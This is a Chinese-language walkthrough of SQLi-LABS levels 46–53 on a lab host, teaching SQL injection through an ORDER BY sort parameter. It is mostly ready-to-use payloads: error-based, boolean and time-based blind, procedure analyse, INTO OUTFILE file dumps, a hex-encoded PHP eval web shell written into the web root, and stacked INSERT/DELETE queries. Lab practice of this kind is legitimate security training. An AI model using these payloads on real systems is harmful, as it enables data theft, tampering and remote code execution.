关于order by 注入原理讲解

注入原理

1. 测试

?sort=1 desc--+
?sort=1 asc--+

显示结果不同,说明可以注入

desc是 descend 降序意思

asc 是 ascend 升序意思

可利用 order by 后的一些参数进行注入

2. 利用

1)order by 后的数字可以作为一个注入点

order by 后的数字可以作为一个注入点。也就是构造order by 后的一个语句,让该语句执行结果为一个数,我们尝试

?sort=right(version(),1)--+

?sort=left(version(),1)--+

没有报错,但是 right 换成 left 都一样,说明数字没有起作用,我们考虑布尔类型。此时我们可以用报错注入和延时注入。

procedure analyse 参数后注入

2)利用 procedure analyse 参数,我们可以执行报错注入。同时,在 procedure analyse 和 order by 之间可以存在limit 参数,我们在实际应用中,往往也可能会存在 limit 后的注入,可以利用 rocedure analyse 进行注入。

完整句式是

select field from user where id >0 order by id limit 1,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1);

select field from table where id > 0 order by id limit 1,1 procedure analyse((select extractvalue(rand(),concat(0x3a,(if(mid(version(),1,1) like 5, benchmark(5000000,sha1(1)),1))))),1)

3)将查询结果导入到文件当中

3. 句式

1)报错型注入

?sort=(select(要注入的语句))–+

?sort=(select count(*) from information_schema.columns group by concat(0x3a,0x3a,(select group_concat(database()) limit 0,1),0x3a,0x3a,floor(rand()*2)))–+

2)布尔型注入

?sort=rand(要注入的语句)–+

?sort=rand(ascii(left(database(),1))=115)–+

?sort=rand(true)–+

?sort=rand(false)–+

Ps:rand(true)和 rand(false)的结果是不一样的,说明注入成功。

3)延时型注入

?sort=1 and (要注入的语句)–+

?sort=1 and (if((ascii(substr((select database() limit 0,1),1,1))=115),sleep(5),1))–+

?sort=1 and (select if(substring(current,1,1)=char(115),benchmark(50000000,md5(‘1’)),null) from (select database() as current) as tb1)–+

?sort=1 and (left(database(),2)>’sa’)–+

3)procedure analyse()

?sort=1 procedure analyse (extractvalue(1,concat(0x7e,(你希望的查询语句))))–+

?sort=1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1)–+

?sort=1 procedure analyse((select extractvalue(rand(),concat(0x3a,(if(mid(version(),1,1) like 5, benchmark(5000000,sha1(1)),1))))),1)--+

4)将查询结果导入到文件当中

?sort=1 into outfile “/tmp/test1.txt”–+

?sort=1 and (select group_concat(username) from security.users limit 0,1) into outfile “/tmp/test1.txt”--+

5)那这个时候我们可以考虑上传网马,利用 lines terminated by

Into outtfile /tmp/test3.txt lines terminated by 0x(网马进行 16 进制转换)

 

Less-46 报错型 - order by 注入 - 整型

注入判断:

http://10.10.202.112/sqli/Less-46?sort=1

SQLi-LABS Page-3 (order by injections) Less-46-Less-53_SQL

http://10.10.202.112/sqli/Less-46?sort=1 desc limit 0,4--+

SQLi-LABS Page-3 (order by injections) Less-46-Less-53_SQL_02

http://10.10.202.112/sqli/Less-46?sort=1 asc limit 0,4--+

SQLi-LABS Page-3 (order by injections) Less-46-Less-53_SQL_03

 

可以判断存在注入

时间盲注

sort=1 and if(ascii(substr(database(),1,1))=116,0,sleep(5))--+

sort=(select if(substring(current,1,1)=char(115),benchmatrk(5000000,md5('1')),null) from (select database() as current) as tb1)--+

 

布尔盲注

?sort=rand(要注入的语句)–+
?sort=rand(ascii(left(database(),1))=115)--+
?sort=rand(true)--+
?sort=rand(false)--+
Ps:rand(true)和 rand(false)的结果是不一样的,说明注入成功

SQLi-LABS Page-3 (order by injections) Less-46-Less-53_SQL_04

SQLi-LABS Page-3 (order by injections) Less-46-Less-53_SQL_05

 

procedure analyse 参数后注入

?sort=1 procedure analyse (extractvalue(1,concat(0x7e,(你希望的查询语句))))--+
?sort=1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1)--+
?sort=1 procedure analyse((select extractvalue(rand(),concat(0x3a,(if(mid(version(),1,1) like 5, benchmark(5000000,sha1(1)),1))))),1)--+

SQLi-LABS Page-3 (order by injections) Less-46-Less-53_SQL_06

 

将查询结果导入到文件当中
?sort=1 into outfile “/tmp/test1.txt”--+
?sort=1 and (select group_concat(username) from security.users limit 0,1) into outfile “/tmp/test1.txt”--+

http://10.10.202.112/sqli/Less-46?sort=1 and (select "

SQLi-LABS Page-3 (order by injections) Less-46-Less-53_SQL_07

 

Less-47 报错型 - order by 注入 - 字符型

SELECT * FROM users ORDER BY '$id'

' 进行报错注入

http://10.10.202.112/sqli/Less-47?sort=1' and (select count(*) from information_schema.columns group by concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand()*2)))--+

SQLi-LABS Page-3 (order by injections) Less-46-Less-53_SQL_08

 

http://10.10.202.112/sqli/Less-47?sort=1' and (select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x)--+

SQLi-LABS Page-3 (order by injections) Less-46-Less-53_SQL_09

 

时间盲注

SQLi-LABS Page-3 (order by injections) Less-46-Less-53_SQL_10

SQLi-LABS Page-3 (order by injections) Less-46-Less-53_SQL_11

 

http://10.10.202.112/sqli/Less-47?sort=1' and If(ascii(substr(database(),1,1))=115,0,sleep (5))--+

SQLi-LABS Page-3 (order by injections) Less-46-Less-53_SQL_12

SQLi-LABS Page-3 (order by injections) Less-46-Less-53_SQL_13

 

procedure analyse 参数后注入

http://10.10.202.112/sqli/Less-47?sort=1' procedure analyse(extractvalue(rand(),concat(0x3a,version())),1)--+

SQLi-LABS Page-3 (order by injections) Less-46-Less-53_SQL_14

 

Less-48 报错型盲注 - Order by 注入 - 整型

本关与less-46 的区别在于报错注入不能使用,不进行错误回显,因此其他的方法我们依旧是可以使用的。

可以利用sort=rand(true/false)进行判断

http://10.10.202.112/sqli/Less-47?sort=1 and If(ascii(substr(database(),1,1))>115,0,sleep (5))--+

SQLi-LABS Page-3 (order by injections) Less-46-Less-53_SQL_15

 

Less-49 报错型盲注 - Order by 注入 - 字符型

利用延时注入

http://10.10.202.112/sqli/Less-49?sort=1' and If(ascii(substr(database(),1,1))=115,0,sleep (5))--+

http://10.10.202.112/sqli/Less-49?sort=1' and (If(ascii(substr((select username from users where id=1),1,1))=68,0,sleep(5)))--+

SQLi-LABS Page-3 (order by injections) Less-46-Less-53_SQL_16

 

 

利用 into outfile 进行注入

http://10.10.202.112/sqli/Less-49?sort=1'  into outfile "C:\\phpStudy2018\\PHPTutorial\\WWW\\sqli\\hack404.php"  lines terminated by 0x3c3f706870206576616c2840245f504f53545b27636d64275d293b203f3e--+

https://cryptii.com/pipes/hex-decoder

SQLi-LABS Page-3 (order by injections) Less-46-Less-53_SQL_17

 

注意路径双写下\

SQLi-LABS Page-3 (order by injections) Less-46-Less-53_SQL_18

SQLi-LABS Page-3 (order by injections) Less-46-Less-53_SQL_19

 

Less-50 报错型堆叠注入 - Order by - 整型

SQLi-LABS Page-3 (order by injections) Less-46-Less-53_SQL_20

 

http://10.10.202.112/sqli/Less-50?sort=1;insert into users(id,username,password) values(110,'hack110','hack110')--+

SQLi-LABS Page-3 (order by injections) Less-46-Less-53_SQL_21

 

Less-51 报错型堆叠注入 - Order by 注入 - 字符型

http://10.10.202.112/sqli/Less-51/?sort=1';insert into users(id,username,password) values(111,'hack111','hack111')--+

SQLi-LABS Page-3 (order by injections) Less-46-Less-53_SQL_22

 

Less-52 盲注 - 堆叠注入 - Order by 注入 - 整型

http://10.10.202.112/sqli/Less-52/?sort=1;insert into users(id,username,password) values(112,'hack112','hack112')--+

SQLi-LABS Page-3 (order by injections) Less-46-Less-53_SQL_23

 

Less-53 盲注 - 堆叠注入 - Order by 注入 - 字符型

http://10.10.202.112/sqli/Less-53/?sort=1';delete from users where username like 'hack%'--+

SQLi-LABS Page-3 (order by injections) Less-46-Less-53_SQL_24

待续!!!